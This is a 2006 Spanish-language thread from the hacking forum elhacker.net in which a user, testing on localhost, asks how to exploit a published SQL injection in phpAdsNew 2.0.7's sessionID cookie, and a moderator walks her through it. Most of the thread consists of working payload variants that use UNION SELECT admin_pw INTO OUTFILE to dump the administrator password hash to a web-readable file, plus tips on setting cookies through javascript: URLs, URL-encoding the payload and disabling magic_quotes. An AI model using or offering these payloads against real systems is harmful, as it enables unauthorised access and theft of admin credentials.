elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 03:32  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  phpadsnew 2.0.7 desde cero
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: phpadsnew 2.0.7 desde cero  (Leído 2,125 veces)
Susana Santander

Desconectado Desconectado

Mensajes: 14



Ver Perfil
phpadsnew 2.0.7 desde cero
« en: 1 Julio 2006, 05:49 »

Hola,

Estoy probando en localhost con la versión (2.0.7)
http://prdownloads.sourceforge.net/phpadsnew/phpAdsNew-2.0.7.tar.gz?use_mirror=switch

La 2.0.8 también tiene vulnerabilidades; pero nadie saco la 'Proof of Concept'

Los 'Advisores': http://www.zone-h.org/content/view/13092/5/

La traducción:

Todas las funciones en /admin/lib-sessions.inc.php no revisan la variable "sessionID" procediente de la cookie, lo más interesante es phpAds_SessionDataFetch() porque esto invoca a config.php y realiza una simple consulta SELECT.

Código:
if (isset($HTTP_COOKIE_VARS['sessionID']) && $HTTP_COOKIE_VARS['sessionID'] != '')
{
$result = phpAds_dbQuery("SELECT sessiondata FROM
".$phpAds_config['tbl_session']." WHERE
sessionid='".$HTTP_COOKIE_VARS['sessionID']."'" .
" AND UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(lastused) < 3600"); <-- aquí el detalle

Basta que /admin/config.php este incluido en /admin/index.php, para que no necesitemos estar autenticados y explotemos la vulnerabilidad.

PoC (cookie): sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "/var/www/blah.txt"/*;

Si podeis explicarme esto último que esta en negrilla os agradeceré muchísimo, solo me imagino que:

Tengo que modificar la cookie, ¿me bastará con la extensión Cookie Editor de Firefox?
/var/www/blah.txt en mi caso vendría a ser: C:\program files\apache\htdocs\blah.txt??

De antemano Muchas Gracias!!!!
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: phpadsnew 2.0.7 desde cero
« Respuesta #1 en: 1 Julio 2006, 07:14 »

Hola, no necesitas ningun plugin.. desde la barra de direcciones puedes...

lo de la cookie, es una inyeccion SQL.. basicamente lo que hace es poner el password del administrador en el archivo /var/www/blah.txt..

lo de la barra de direcciones es asi:

javascript:void(document.cookie="LA-COOKIE-AKI");

saludos!!
En línea

Susana Santander

Desconectado Desconectado

Mensajes: 14



Ver Perfil
Re: phpadsnew 2.0.7 desde cero
« Respuesta #2 en: 1 Julio 2006, 10:18 »

Holas,

Gracias por tu tiempo.

Despues de ubicarme en http://localhost/phpAdsNew-2.0.7/admin/index.php
Me aventure a poner en la barra de direcciones lo siguiente:

javascript:void(document.cookie="sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt"/*");

javascript:void(document.cookie="sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt");

javascript:void(document.cookie="sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "../blah.txt");

He probado tambien:

http://localhost/phpAdsNew-2.0.7/admin/index.php?javascript:void(document.cookie="sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt"/*");

http://localhost/phpAdsNew-2.0.7/admin/index.php?javascript:void(document.cookie="sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt");

http://localhost/phpAdsNew-2.0.7/admin/index.php?javascript:void(document.cookie="sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:\Program Files\Apache\htdocs\phpAdsNew-2.0.7\blah.txt");

http://localhost/phpAdsNew-2.0.7/admin/index.php?javascript:void(document.cookie="sessionID=adsds'/**/UNION/**/SELECT%20admin_pw%20from%20phpads_config%20into%20outfile%20"../blah.txt");

Y no logro escribir el archivo blah.txt :( . Me asegure deshabilitar el "solo escritura" de la carpeta.
¿En qué me he equivocado?

En el hipotético caso de que consiguiera la contraseña, esta vendrá en md5 (bd7f72e3882d5ab93f67ci014cf29fcn) y no se cuántos siglos tendré que esperar para conocer la original. Puedo usar de alguna forma la contraseña cifrada??

De nuevo Muchas Gracias!!  :-*
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: phpadsnew 2.0.7 desde cero
« Respuesta #3 en: 1 Julio 2006, 11:02 »

En la cookie :P hay comillas donde no jeje..

1.- entra aqui: http://localhost/phpAdsNew-2.0.7/admin/index.php
2.- escribe esto sin modificaciones: javascript:void(document.cookie=prompt("Escribe la cookie",""));
3.- escribe la cookie donde te sera pedida.
4.- actualiza la pagina.

Saludos!!
En línea

Susana Santander

Desconectado Desconectado

Mensajes: 14



Ver Perfil
Re: phpadsnew 2.0.7 desde cero
« Respuesta #4 en: 1 Julio 2006, 11:42 »

Hola,

Funciona todo a las mil maravillas hasta el punto 4; pero el 5 (obtener C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt) NO  :-( :-( :-( :-( :-( :-( :-( :-( :-(

Quizá el error este en:

Como yo interpreto la cookie, es decir todo esto:

sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt"/*;

Tambien probe:

sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt"/*;

sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt";

sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt"/*

Por cierto ¿Qué función cumple adsds? yo presumo que es un usuario, asi que tambien probe con un usuario real:

sessionID=susana'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/phpAdsNew-2.0.7/blah.txt"/*;

¿Qué esta mal?

Muchas Gracias!! Eres mi heroe!!
En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: phpadsnew 2.0.7 desde cero
« Respuesta #5 en: 1 Julio 2006, 21:21 »

Jeje hola
bueno, primero prueba si se creo la cookie correctamente, asi:

javascript:alert(document.cookie);

ademas, realmente no importa si el usuario existe, el asdas es para que no de ningun resultado, pero como la seleccion es metida en un archivo, se guarda tu sesion y el password del administrador..


en fin, trata de cambiar la ruta a:

C:/Program Files/Apache/htdocs/blah.txt

es decir quedaria asi:

sessionID=adsds'/**/UNION/**/SELECT admin_pw from phpads_config into outfile "C:/Program Files/Apache/htdocs/blah.txt"/*;

para evitar problemas con las cookies, puedes guardarla asi:

sessionID=adsds%2527/**/UNION/**/SELECT%2520admin_pw%2520from%2520phpads_config%2520into%2520outfile%2520%2522C%253A/Program%2520Files/Apache/htdocs/blah.txt%2522/*;

y mmm creo es todo :)

Saludos!!
En línea

Susana Santander

Desconectado Desconectado

Mensajes: 14



Ver Perfil
Re: phpadsnew 2.0.7 desde cero
« Respuesta #6 en: 2 Julio 2006, 07:57 »

Hola,

Probe con esto javascript:alert(document.cookie); en IE, Firefox, Opera, y en todos aumenta a la cookie el valor que 'injerto', de esta forma:

sessionID=adsds%2527/**/UNION/**/SELECT%2520admin_pw%2520from%2520phpads_config%2520into%2520outfile%2520%2522C%253A/Program%2520Files/Apache/htdocs/blah.txt%2522/*; sessionID=0b2fbu5166eac5004o08b8b2340a708d

Originalmente sin 'inyectar código', contiene esto:

sessionID=0b2fbu5166eac5004o08b8b2340a708d

Me siento tonta :-[

Se me acaba de ocurrir que magic_quotes puede influir, y pasa que lo tengo 'ON' ¿Cómo lo pongo 'OFF'?

¿Podéis concederme una última gracia? Asi ya no os canso más... =)

Probariaís en vuestro localhost??

Solo pesa 2.5 Mb y la instalación es sencilla, rapidísima, cinco clicks en siguiente y nada más (aparte de llenar los datos de DB y usuario).

http://prdownloads.sourceforge.net/phpadsnew/phpAdsNew-2.0.7.tar.gz?use_mirror=switch

Los 'Advisores': http://www.zone-h.org/content/view/13092/5/

Gracias de aquí hasta la galaxia Andromeda!!!! Sois el tio más majo que 'vive aquí' =)
« Última modificación: 2 Julio 2006, 08:01 por Susana Santander » En línea

sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.946


Lavando Platos


Ver Perfil WWW
Re: phpadsnew 2.0.7 desde cero
« Respuesta #7 en: 3 Julio 2006, 03:41 »

Pues si las magic influyen, se desactivan en el php.ini..

si tienes windows solo es inicio - ejecutar - php.ini

Saludos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Hacer un ordenador desde cero « 1 2 »
Hardware
Perchuto 18 2,571 Último mensaje 7 Enero 2011, 21:48
por Perchuto
Aprender C# o C++ desde cero
Programación General
R3tr0 12 3,874 Último mensaje 13 Marzo 2011, 17:06
por pucheto
Recuperando wind+ws 7 starter desde cero (literalmente)
Windows
chillinfart 3 1,244 Último mensaje 27 Abril 2011, 23:28
por Randomize
LINUX DESDE CERO
GNU/Linux
carh28 0 615 Último mensaje 10 Julio 2011, 20:12
por carh28
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines